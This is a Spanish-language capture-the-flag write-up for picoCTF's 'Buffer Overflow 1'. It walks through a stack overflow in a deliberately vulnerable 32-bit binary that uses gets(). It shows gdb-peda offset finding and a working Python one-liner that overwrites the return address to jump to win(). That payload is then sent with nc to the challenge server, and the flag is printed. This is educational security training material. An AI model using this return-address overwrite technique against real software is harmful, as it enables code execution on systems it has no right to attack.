Buffer Overflow 1
On this page
February 10, 20246 minutes
Material / Información
- Dominio: saturn.picoctf.net
- Puerto: 63667 (Puede variar)
- Binario (vuln)
- Script en c del binario (vuln.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Empezamos…
Primero ejecutamos el script desde gdb-peda y le mandamos muchas “A”
python2 -c 'print "A" * 100' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
zsh: done python2 -c 'print "A" * 100' |
zsh: segmentation fault ./vuln
Nos devuelve el error segmentation fault, eso es porque hemos puesto un input más grande que el esperado y hemos sobreescrito registros de la memoria. Esto pasa porque en la función vuln se usa la función gets()
la cual no hace ninguna verificación del tamaño de la entrada, lo que da paso a un desbordamiento del buffer
El script mostró el siguiente mensaje Jumping to 0x41414141
, Si es verdad el mensaje significa que estamos saltando a la dirección 0x41414141, así que hemos conseguido sobreescribir el EIP a 0x41414141 que “41” significa “A”
Pero no nos podemos fiar de ese mensaje así que vamos a ejecutar el script con gdb-peda para comprobar el valor del EIP
> gdb ./vuln
gdb-peda$ r
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcf2c --> 0xf2f7c200
EDX: 0x1
ESI: 0x8049350 (<__libc_csu_init>: endbr32)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcfb0 ('A' <repeats 52 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 ('A' <repeats 52 times>)
0004| 0xffffcfb4 ('A' <repeats 48 times>)
0008| 0xffffcfb8 ('A' <repeats 44 times>)
0012| 0xffffcfbc ('A' <repeats 40 times>)
0016| 0xffffcfc0 ('A' <repeats 36 times>)
0020| 0xffffcfc4 ('A' <repeats 32 times>)
0024| 0xffffcfc8 ('A' <repeats 28 times>)
0028| 0xffffcfcc ('A' <repeats 24 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$
Ahora ya sí que podemos confirmar que tenemos la capacidad de sobreescribir el EIP.
El siguiente paso será calcular cuantas “A” tenemos que poner hasta llegar al EIP, esto lo podríamos hacer manual, o usar la siguiente función de gdb
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Esto nos crea una cadena de caracteres especialmente diseñada para esto. Una vez creada la mandamos al programa
Por último para terminar de calcularlo le pasaremos el valor del EIP para que gdb-peda calcule el offset.
gdb-peda$ pattern offset $eip
1094796865 found at offset: 44
Ya tenemos el offset 44.
Vamos a analizar un poco el programa para entenderlo.
En la funcion vuln
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
Se llama a otra función llamada get_return_address, esta función no se define en ninguna parte de este código así que vamos a abrir el binario con ghydra para investigar esta función.
undefined4 get_return_address(void)
{
int unaff_EBP;
return *(undefined4 *)(unaff_EBP + 4);
}
Parece que esta devolviendo el valor del EBP + 4 posiciones, Pero que hay 4 posiciones más arriba del EBP?
Para saberlo vamos a calcular la cantidad de “A” que necesitamos para sobreescribir el EBP, igual que hemos hecho con el EIP
gdb-peda$ pattern offset $ebp
found at offset: 40
Si para llegar al EBP necesitamos 40 “A” i para el EIP necesitamos 44 “A” lo que hay 4 bytes más arriba del EBP es el EIP. Para verlo desde gdb podemos hacer lo siguiente.
Creamos un payload con 40 “A”, 4 “B” y 4 “C”
python3 -c 'print("A" * 40 + "B" * 4 + "C" * 4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Al mandarlo desde gdb podemos comprobar la conclusión sacada anteriormente
EBP: 0x42424242 ('BBBB')
ESP: 0xffffcfb0 --> 0xf7c21600 --> 0xbad06
EIP: 0x43434343 ('CCCC')
Ahora ya sabemos bien que hace la función vuln, ahora vamos a ir con la win.
Función win
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
Podemos intuir que por esta función estará la flag, ya que está abriendo un archivo en modo lectura llamado flag.txt…
Es curioso porque la función win no se llama en ningún punto del script, de hecho desde la función main solo se llama a la funcion vuln() y en ninguna parte de la función vuln() hemos visto que se llame a la función win()
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Pero aquí viene la magia, aunque no se llame a la función vuln, la podemos llamar nosotros, ya que tenemos el control sobre el EIP y podemos redirigir el flujo del programa hacia la función win
Primero vamos a buscar desde gdb-peda la dirección de la función win
gdb-peda$ disassemble win
Dump of assembler code for function win:
0x080491f6 <+0>: endbr32
0x080491fa <+4>: push ebp
0x080491fb <+5>: mov ebp,esp
0x080491fd <+7>: push ebx
0x080491fe <+8>: sub esp,0x54
0x08049201 <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x08049206 <+16>: add ebx,0x2dfa
0x0804920c <+22>: sub esp,0x8
0x0804920f <+25>: lea eax,[ebx-0x1ff8]
0x08049215 <+31>: push eax
0x08049216 <+32>: lea eax,[ebx-0x1ff6]
0x0804921c <+38>: push eax
0x0804921d <+39>: call 0x80490c0 <fopen@plt>
0x08049222 <+44>: add esp,0x10
0x08049225 <+47>: mov DWORD PTR [ebp-0xc],eax
0x08049228 <+50>: cmp DWORD PTR [ebp-0xc],0x0
0x0804922c <+54>: jne 0x8049258 <win+98>
0x0804922e <+56>: sub esp,0x4
0x08049231 <+59>: lea eax,[ebx-0x1fed]
0x08049237 <+65>: push eax
0x08049238 <+66>: lea eax,[ebx-0x1fd8]
0x0804923e <+72>: push eax
0x0804923f <+73>: lea eax,[ebx-0x1fa3]
0x08049245 <+79>: push eax
0x08049246 <+80>: call 0x8049040 <printf@plt>
0x0804924b <+85>: add esp,0x10
0x0804924e <+88>: sub esp,0xc
0x08049251 <+91>: push 0x0
0x08049253 <+93>: call 0x8049090 <exit@plt>
0x08049258 <+98>: sub esp,0x4
0x0804925b <+101>: push DWORD PTR [ebp-0xc]
0x0804925e <+104>: push 0x40
0x08049260 <+106>: lea eax,[ebp-0x4c]
0x08049263 <+109>: push eax
0x08049264 <+110>: call 0x8049060 <fgets@plt>
0x08049269 <+115>: add esp,0x10
0x0804926c <+118>: sub esp,0xc
0x0804926f <+121>: lea eax,[ebp-0x4c]
0x08049272 <+124>: push eax
0x08049273 <+125>: call 0x8049040 <printf@plt>
0x08049278 <+130>: add esp,0x10
0x0804927b <+133>: nop
0x0804927c <+134>: mov ebx,DWORD PTR [ebp-0x4]
0x0804927f <+137>: leave
0x08049280 <+138>: ret
End of assembler dump.
Vamos a hacer que el EIP apunte a 0x080491f6
para poder llamar a la función win.
python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
Please create 'flag.txt' in this directory with your own debugging flag.
Hemos podido redirigir el programa hacia la función win!!!! Pero claro, nosotros no tenemos la flag, así que vamos a ejecutarlo desde el dominio y puerto que nos han proporcionado al inicio
python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | nc saturn.picoctf.net 56276
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy...}